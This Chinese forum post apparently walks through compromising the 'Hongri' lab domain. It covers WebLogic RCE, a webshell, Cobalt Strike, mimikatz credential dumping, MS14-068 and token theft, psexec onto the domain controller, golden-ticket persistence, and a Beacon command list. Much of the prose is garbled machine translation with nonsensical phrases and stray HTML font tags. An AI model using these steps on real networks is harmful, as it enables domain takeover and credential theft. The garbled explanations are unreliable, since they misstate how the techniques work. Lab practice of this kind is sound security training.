本帖最后由 zhaorong 于 2021-7-26 16:37 编辑
红日靶场二游记
靶场拓扑图如下所示:
环境说明
DC:
IP:10.1.10.10状态
:WINDOWS 2012
应用:
ADWEB域(最终用户的默认密码登录切换de1ay / 1qaz @ WSX登录):
IP1:10.10.10.80
IP2:192.168.111.80
操作系统:Windows 2008
应用: Weblogic 10.3.6 MSSQL 2008
电脑:
IP1:10.10.10.201
IP2:192.168.111.201
:Windows 7
内段网:10.10.10.0/24
DMZ
WEB服务器需要管理员手动开启服务在C:\Oracle\Middleware\user_project
ns\base_domain\bin下启动运行程序startWeblogic发酵的WebLogic
WEB机和PC机:计算机-->管理->配置->服务->服务器,桌面,计算机浏览全部启动注意PC机
需要关闭防火墙专业两台机器无法通PC机导致无法发送icmp包。
这里是为了方便在将物理机实现为在WEB服务器中增加桥接网络以便能直接访问WEB服务器
WEB服务器信息收集
该WEB服务器桥网段为192.168.0.1/24,该主机IP为192.168.0.6,是WEB服务器首次对
80端口进行发现收集该端口没有内容的nmap服务器信息,端口和服务如下:
- PORT STATE SERVICE VERSION
- 80/tcp open http Microsoft IIS httpd 7.5
- | http-methods:
- | Supported Methods: OPTIONS TRACE GET HEAD POST
- |_ Potentially risky methods: TRACE
- |_http-server-header: Microsoft-IIS/7.5
- |_http-title: Site doesn't have a title.
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
- 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
- | ms-sql-ntlm-info:
- | Target_Name: DE1AY
- | NetBIOS_Domain_Name: DE1AY
- | NetBIOS_Computer_Name: WEB
- | DNS_Domain_Name: de1ay.com
- | DNS_Computer_Name: WEB.de1ay.com
- | DNS_Tree_Name: de1ay.com
- |_ Product_Version: 6.1.7601
- | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
- | Issuer: commonName=SSL_Self_Signed_Fallback
- | Public Key type: rsa
- | Public Key bits: 1024
- | Signature Algorithm: sha1WithRSAEncryption
- | Not valid before: 2021-07-22T05:27:37
- | Not valid after: 2051-07-22T05:27:37
- | MD5: cd9c a9a8 84fd a39f 5073 9bfc 9ae7 dec5
- |_SHA-1: 02e4 f828 917e 4978 0f8b d4c5 f253 da95 0b86 bd94
- |_ssl-date: 2021-07-22T12:46:41+00:00; 0s from scanner time.
- 3389/tcp open ms-wbt-server Microsoft Terminal Service
- | ssl-cert: Subject: commonName=WEB.de1ay.com
- | Issuer: commonName=WEB.de1ay.com
- | Public Key type: rsa
- | Public Key bits: 2048
- | Signature Algorithm: sha1WithRSAEncryption
- | Not valid before: 2021-07-21T05:28:19
- | Not valid after: 2022-01-20T05:28:19
- | MD5: c1d1 9a76 c599 358a 8527 34a6 b00f 6ce2
- |_SHA-1: 71eb 0238 090b 80ea d143 36aa d3c0 7f8d bd5c 4d18
- |_ssl-date: 2021-07-22T12:46:40+00:00; 0s from scanner time.
- 7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
- |_http-title: Error 404--Not Found
- |_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
- 49152/tcp open msrpc Microsoft Windows RPC
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">49153/tcp 打开 msrpc Microsoft Windows RPC </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">49154/tcp 打开 msrpc Microsoft Windows RPC </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">49155/tcp 打开 msrpc Microsoft Windows RPC </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">49156/tcp 打开 msrpc Microsoft Windows RPC</font></font>
复制代码
开放了几个高危端口都的出 445 个可能存在的端口,利用开放即存在的 smb 服务就存在 1-010 个端口存在漏洞
开放 139 就端口存在 Samba 服务可能爆破/授权访问/远程命令执行漏洞, 1433端口命令执行漏洞,因为1433
端口命令则说明该服务器部署MSSQL可能存在MSSQL并通过MSSQL7001执行打开端口
放的WebLogic Server,从而可以先从网络逻辑。
使用检测weblogicScan是否存在已知漏洞:
发现可能存在的反序列化漏洞使用工具进行检测成功RCE
由于之前检测uddiexplorer开放这里选择将冰蝎壳上传到uddiexplorer目录下:
冰蝎连接后成功getshell
外打成功开拓内网的信息收集和横向对网点。
内网收集信息与横向
发现存在3个网段192.168.0.6是桥接网段判断内网还存在1
92.168.111.1/24和10.10.10.1/24两个网段
这里首先需要提权所以先行CS上线360有手就行直接用PS在这里存在360杀软件
注意:在靶机中实际使用的的的的powershell并且的的的的powershell无法
禁止运行绕过360使用UUID智能的EXE免杀这里是为了方便开启上帝模式使用PS上线
上线后明先抓取使用下内存中的NTML等WEB服务器为Windows Server 2008
可以抓取文密码:
WEB服务器很幸运的被域控DC登陆了,于是出现了控制DC管理员的明文密码
查看已经打上的权利利用未解决提提:
这里想使用CVE-2018-8120提权并且该脚本使用大量2008版本的机器,但在本地一打所有
的CS就掉线了也不知道是啥原因。
cve-2019-0803也可能因为杀软的存在而无法上传文件成功 看其他文章使用的是ms14-068可以提
权成功但本地没有应该,所以先放介绍下其原理:
该漏洞可能允许向用户账户的权限提权执行层级管理员的,该漏洞可以只查看,然后就需要其他
提供权限查看查看管理员查看权限查看是否可以打打
补丁用户(KB3011780)来袭出现漏洞
利用ms14-068 .exe提权工具生成明天的kerberos协议证书
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit; ">MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s </font ></font> </font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit; "><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><userSid> -d <domainControlerAddr>< /font></font></font></font></font></font>
复制代码
运行完成该命令后生成在当前文件夹生成再通过Mimikatz文件进行导入后:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">mimikatz #kerberos::purge //清空当前凭证</font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style=" Vertical-align: inherit;"><font style="vertical-align: inherit;">kerberos::list //查看当前机器凭证</font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit; "><font style="vertical-align: inherit;">mimikatz # kerberos 文件 //::上一步生成的笔记本注入到内存中</font></font></font></font>
复制代码
届时便能以天气的域管理员身份来域控制或通过P**ec工具来获取域控的炮弹添加域管理员等操作
使用的是最后一个CS模块提升中的ms15-051-051进行提权
官方表示该漏洞影响的信息有:
Windows Server 2003 Windows Vista Windows Server 2008 Windows Server 2008 R2 等
成功获得SYSTEM权限
这里也可以通过权限窃取的方式进行提:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">meterpreter > load incognito //加载incognito </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">meterpreter > getuid //查看当前token </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">meterpreter > list_tokens -u //可用令牌</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">格式为impersonate_token"</font><font style="vertical-align: inherit;">主机</font><font style="vertical-align: inherit;">名\\用户名" </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit; ">meterpreter > getuid //查看当前token </font></font> </font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit; "><font style="vertical-align : inherit;"><font style="vertical-align: inherit;">meterpreter > rev2self //返回之前的令牌</font></font></font> </字体></font></font>
复制代码
Windows中的隐身
Metasploit中的隐身是从windows平台下的隐身移植过来的下面介绍windows平台下的隐身常用
用法如下:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">目录token:incognitoexe list_tokens -u</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">复制token:incognito.exe execute [options] <token> <command></font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">提权至系统:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">降权至当前用户:incognito.exe execute -c "WIN-R7MM90ERB\a" cmd.exe 明天</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">用户:incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe</font></font>
复制代码
自己进行CS进行盗取令牌却不能失败告示因为这里还可能需要管理员管理员才能进行盗取最终操作
令牌的安装者
权限
在Windows中获得权限管理员和权限系统系统也文件
在Windows系统的最高权限为TrustedInstaller
我们可以使用以下方法来判断是否获得TrustedInstaller权限:
1.验证是否获得TrustedInstaller权限的方法
对特定路径写文件
echo 1 > C:\Windows\servicing\1.txt
使用whoami
whoami / 个人 | findstr TrustedInstaller
使用Powershell
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner
2.getsystem提升
命令到系统权限3.sc命令启动服务TrustedInstaller
shell sc starttrustedinstaller
4.ps找到TrustedInstaller的pid
ps
5。使用隐身获取TrustedInstaller.exe的
tokensteal_token TrustedInstall.exe的PID
6.写入文件成功代表获得了TrustedInstaller权限
域信息收集
ipconfig /all发现机器有双网卡内网10.10.10.1/24段域控为ip 10.10.10.10
注意:域控一般是本机的DNS服务器
查看域:网络配置工作站
观域内主机:该上网查看防火墙
netsh advfirewall设置所有配置文件状态
注意在收集凭证收集时收集到mssql用户用户的密码在用户驻留过程中过程中
用户没有驻留过程中因此使用spawn来用户:
转义用户后发现该同样是域用户:
此时域信息收集:
使用Ladon探测下域三台主机和相关信息准备进行渗透IP:
分别为:
10.10.10.10域控DC
10.10.10.80 WEB服务器
10.10.10.201 PC
由于已经存在相关证书注意使用p**ec域控制上线:
需要使用p**ec模块时会话必须是系统权限,并且可以使用SMB监听器进行监听
成功拿下域控DC服务器
此时在抓取下域控制服务器的Hash:
实际登录域内连接控制主机后已经可以单独一个主机了,这里还有一个PC机没有CS,我们直接
使用p**PC服务器使用控制主机的会话视频:
整个域内全部主机上线:
域控权限生存
在域控制获得KRBTGT界面NTLM密码攻击和SID
并且获得了一个域管理员的 SID
黄金中国利用
黄金比特币是英国的口口舌消息(TGT)也被认证中心。TGT 仅用于域控制器上
的加密 KDC 证明用户已被域其他控制器认证。
黄金英国的条件要求:
1 .域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码密码
4.明日你名
黄金拥有者普通用户权限KRBTGT游戏的情况下获得域管理员权限新闻外观域控制的系统权限
还可以使用黄金商业商业商业权限维持当域控制权限掉在通过域内的其他机器突然权限。
可以通过mimtz命令直接获取krbt的SID值和获取值。
lsadump::dc /domain:test./user:金币
下面演示下在WEB服务器中使用mssql用户来晚宴
访问高清:
晚宴晚宴后:晚宴成功后:
以 mssql 用户: 给
黄金报表后:
结尾贴下Beacon的指令介绍
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除Beacon内部的任务队列
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码Hash
desktop 远程桌面服务
dllinject 反射DLL注入进程
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标机上执行程序
exit 结束beacon会话
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码Hash值
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从cache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入的票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon对等点
logonpasswords 使用Mimikatz转储密码hash和凭证
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行Mimikatz命令
mkdir 创建目录
mode dns 使用DNS A作为通信通道
mode dns-txt 使用DNS TXT作为通信通道
mode dns6 使用DNS 我是猪!作为通信通道
mode http 使用HTTP作为通信通道
mv 移动文件
net 运行net命令
note 备注
portscan 端口扫描
powerpick 通过unmanaged powershell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为派生的post-ex进程设置父PID
ps 展示进程列表
p**ec 使用服务在主机上生成会话
p**ec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行哈希传递
pwd 显示出当前目录
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
runas 以其他用户权限执行程序
runu 以其他进程ID执行程序1
screenshot 屏幕截图
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入
sleep 设置休眠时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成会话
spawna 以另一个用户身份生成会话
spawnu 以另一个用户身份生成会话 spawnu 以过程ID 生成会话会话
使用ssh 连接主机-关键
远程使用连接
主机steal_token 从文件中窃取用户订阅
一个数据应用一个文件
unlink 连接
上传上传文件
wdigest 使用im转储明文rmwin
使用WinRM横向渗透
wmi使用WMI横向渗透